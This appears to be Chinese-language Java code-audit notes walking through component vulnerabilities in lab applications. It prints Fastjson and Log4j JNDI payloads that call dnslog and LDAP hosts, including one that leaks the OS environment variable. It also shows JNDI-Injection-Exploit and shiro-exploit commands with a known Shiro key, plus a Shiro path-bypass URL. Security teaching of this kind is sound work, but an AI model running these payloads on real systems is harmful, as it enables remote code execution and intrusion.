java代码审计-开发组件

开发组件

第三方组件安全

1、找存在漏洞的第三方组件(PackageChecker插件)

2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)

3、找可控地方进行测试检测(根据网上已知漏洞利用条件)

常见第三方组件或框架漏洞列表:

SolrShiroFastjsonJacksonLog4jSnakeYamlHessianH2database

Xsteam、Druid、Struts2、Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Hive、Datax、Streaming、DolphinScheduler、Storm、Spring等。

运用插件

勾选

这样就会提示

Tmall-Fastjson1.2.58

触发点:JSON.parseObject() JSON.parse()

全局搜索->JSON.parseObject()->propertyJson->admin/product

{“@type”:”java.net.Inet4Address”,”val”:”miyvosnszc.dgrh3.cn”}

propertyJson可控

访问路由

这边不能上传,再回到admin页面查找

随便填填保存再抓包

修改箭头指向部分{“@type”:”java.net.Inet4Address”,”val”:”miyvosnszc.dgrh3.cn”}

Tmall-Log4j2.10.0

触发点:logger.error logger.info

全局搜索->logger.info->originalFileName->admin/uploadAdminHeadImage

${jndi:ldap://${env:OS}.mq6bqf.dnslog.cn}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C”calc”

搜logger.info函数,里面还要有可控变量

自带方法获取文件名getOriginalFilename

直接访问路由不行

根据方法名,猜测这里抓个包

控制这里

${jndi:ldap://${env:OS}.vc8yl8.dnslog.cn}

尝试成功直接上工具java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C”calc”

直接利用

Ruoyi-Shiro1.4.2

4.2版本

1、反序列化:

setCipherKey->fCq+/xW488hMTCD+cmJ3aQ==

https://github.com/Ares-X/shiro-exploit

python shiro-exploit.py check -u http://192.168.1.2/

python shiro-exploit.py echo -g CommonsCollectionsK1-u http://192.168.1.2/-v 2 -k fCq+/xW488hMTCD+cmJ3aQ==-c whoami

源码密钥位置setCipherKey fCq+/xW488hMTCD+cmJ3aQ==

python3 shiro-exploit.py check -u http://10.211.55.3:82/

python3 shiro-exploit.py echo -g CommonsCollectionsK1 -u http://10.211.55.3:82/ -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami

2、权限绕过:

-anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口

-authc为登录拦截器,需要登录认证才能访问的资源。

例子:

[urls]

/index.html = anon 允许访问

/user/** = authc 需要验证

shiro匹配规则

?:匹配一个字符
*:匹配零个或多个字符串

**:匹配路径中的零个或多个路径

配置:com/ruoyi/framework/config/ShiroConfig.java

绕过:https://www.freebuf.com/vuls/231909.html

测试:/ajax;/../common/download/resource?resource=/profile/1.txt

Halo-H2database 1.4.197

H2database->application.yaml->web-allow-others: true

javax.naming.InitialContext

ldap://192.168.139.1:1389/5eebf8

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc”

数据库地址